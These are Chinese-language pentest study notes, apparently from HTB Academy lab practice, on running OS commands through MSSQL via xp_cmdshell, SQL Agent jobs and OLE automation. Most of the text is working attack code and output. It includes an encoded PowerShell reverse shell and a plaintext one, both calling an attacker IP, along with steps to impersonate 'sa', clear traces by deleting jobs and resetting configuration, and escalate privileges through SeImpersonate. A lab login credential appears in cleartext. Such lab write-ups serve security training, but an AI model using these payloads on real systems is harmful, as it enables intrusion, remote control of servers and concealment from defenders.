MSSQL命令执行

1. 通过 xp_cmdshell 执行命令

这是最常用的一种方式,通过使用 xp_cmdshell 扩展存储过程

用使用xp_cmdshell,必须先要启用 advanced server configuration options ,然后像这样启用 xp_cmdshell (需要sysamin角色的权限)

#开启 高级服务器设置
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;

#开启xp_cmdshell
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

#执行命令
EXEC xp_cmdshell 'ipconfig';

#回复之前的配置(痕迹清理)
EXEC sp_configure 'xp_cmdshell', 0; RECONFIGURE; EXEC sp_configure 'show advanced options', 0; RECONFIGURE;

在后台,xp_cmdshell 会生成一个 cmd.exe 进程,作为 sqlservr.exe(MSSQL Server 服务二进制文件)的子进程,并将传递给 xp_cmdshell 的字符串作为命令行参数(例如:/c notepad.exe
Pasted image 20260315155813.png

1.1.1. 练习

┌──(root㉿kali)-[~/Desktop/htb/Academy/mssql]
└─# impacket-mssqlclient ws_dev:4X6cuvDLNer7nwYN5LBZ@10.129.14.103
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(SQL01): Line 1: Changed database context to 'master'.
[*] INFO(SQL01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232)
[!] Press help for extra shell commands
SQL (ws_dev  guest@master)> enum_impersonateexecute as   database   permission_name   state_desc   grantee   grantor
----------   --------   ---------------   ----------   -------   -------
b'LOGIN'     b''        IMPERSONATE       GRANT        ws_dev    sa

b'LOGIN'     b''        IMPERSONATE       GRANT        ws_dev    ws_user

SQL (ws_dev  guest@master)> EXECUTE AS LOGIN = 'sa';SQL (sa  dbo@master)>

SQL (sa  dbo@master)> enable_xp_cmdshellINFO(SQL01): Line 196: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
INFO(SQL01): Line 196: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (sa  dbo@master)> xp_cmdshell whoamioutput
-----------
htb\svc_sql

NULL

SQL (sa  dbo@master)> xp_cmdshell "type c:\\flag.txt"
output
--------------------------------
005044caf********************

2. 通过 MSSQL代理作业执行命令

这是一种类似于定时任务的方式,通过创建恶意的task,让数据库来自动化执行

条件: 需要 MSSQL Server Agent 服务处于运行状态,默认情况下不运行
如果有发现MSSQL Server在使用agent jobs 那么可以尝试此方式

2.1.1. 创建job

下面是一个创建job的示例

USE msdb ;  
GO  
EXEC dbo.sp_add_job  
    @job_name = N'Weekly Sales Data Backup' ;  GO  
EXEC sp_add_jobstep  
    @job_name = N'Weekly Sales Data Backup',  
    @step_name = N'Set database to read only',  
    @subsystem = N'TSQL',  
    @command = N'ALTER DATABASE SALES SET READ_ONLY',   
    @retry_attempts = 5,  
    @retry_interval = 5 ;  
GO  
EXEC dbo.sp_add_schedule  
    @schedule_name = N'RunOnce',      @freq_type = 1,      @active_start_time = 233000 ;  USE msdb ;  
GO  
EXEC sp_attach_schedule  
   @job_name = N'Weekly Sales Data Backup',  
   @schedule_name = N'RunOnce';  
GO  
EXEC dbo.sp_add_jobserver  
    @job_name = N'Weekly Sales Data Backup';  
GO
  • 定义了一个名为 "Weekly Sales Data Backup" 的作业
  • 此作业会在23:30:00 运行 一次T-SQL 查询

我们可以通过subsystems来执行命令,上面的例子使用的是T-SQL子系统。此外还可以使用 CmdExec 和 PowerShell 子系统来执行命令和ps脚本

2.1.2. CmdExec子系统执行命令

下面这个例子 创建了一个新的job,包含一个步骤,此步骤使用CmdExec子系统执行了download and execute a script,并且使用了 sp_start_job 存储过程来立即执行作业

USE msdb;
GO

EXEC sp_add_job @job_name = N'revshell job';
GO

EXEC sp_add_jobstep  
    @job_name = N'revshell job',
    @step_name = N'Run PS',
    @subsystem = N'CmdExec',
    @command = N'powershell.exe -nop -w hidden -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AMQA5ADkAIgAsADEAMwAzADcAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA';
GO

EXEC sp_add_jobserver @job_name = N'revshell job';
GO

EXEC sp_start_job @job_name = N'revshell job';
GO

2.1.3. 使用Powershell子系统执行命令

USE msdb;
GO

EXEC sp_add_job @job_name = N'revshell job';
GO

EXEC sp_add_jobstep  
    @job_name = N'revshell job',
    @step_name = N'Run PS',
    @subsystem = N'PowerShell',
    @command = N'$client = New-Object System.Net.Sockets.TCPClient("10.10.16.199",1337);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()',
    @retry_attempts = 5,
    @retry_interval = 5;
GO

EXEC sp_add_jobserver @job_name = N'revshell job';
GO

EXEC sp_start_job @job_name = N'revshell job';
GO

2.1.4. 服务账户提权

┌──(root㉿kali)-[~/Desktop/htb/Academy/mssql]
└─# nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.16.199] from (UNKNOWN) [10.129.229.240] 55547

PS SQLSERVER:\> whoami
htb\svc_sql
PS SQLSERVER:\> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeMachineAccountPrivilege     Add workstations to domain                Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication EnabledSeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

默认情况下,该服务以 NT Service\sqlserveragent 运行,返回的服务用户会拥有 SeImpersonatePrivilege 权限,我们可以使用土豆家族进行提权至SYSTEM

2.1.5. 痕迹清除

执行完成命令后,我们应该执行 sp_delete_job存储过程来清除创建的所有jobs

USE msdb;
GO
EXEC sp_delete_job @job_name = N'revshell Job';
GO

Pasted image 20260315235007.png

3. 通过 OLE 存储过程执行命令

  • 默认情况下此存储过程为禁用状态,需要sysadmin权限进行开启

OLE 自动化是 Microsoft 开发的一种进程间通信机制,它允许我们从 T-SQL 查询中使用其他语言,例如 VBScript 。为此,我们需要使用 sp_OACreate 和 sp_OAMethod 存储过程

3.1.1. 开启OLE存储过程

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;

EXEC sp_configure 'ole automation procedures', 1;
RECONFIGURE;

需要sysadmin角色权限

3.1.2. 使用OLE创建wscript执行命令

我们可以使用 OLE Automation 创建一个 wscript.shell 对象,然后使用查询语句执行命令

DECLARE @objShell INT;
DECLARE @output varchar(8000);

EXEC @output = sp_OACreate 'wscript.shell', @objShell Output;
EXEC sp_OAMethod @objShell, 'run', NULL, 'cmd.exe /c "whoami > C:\Windows\Tasks\tmp.txt"';

Pasted image 20260316000930.png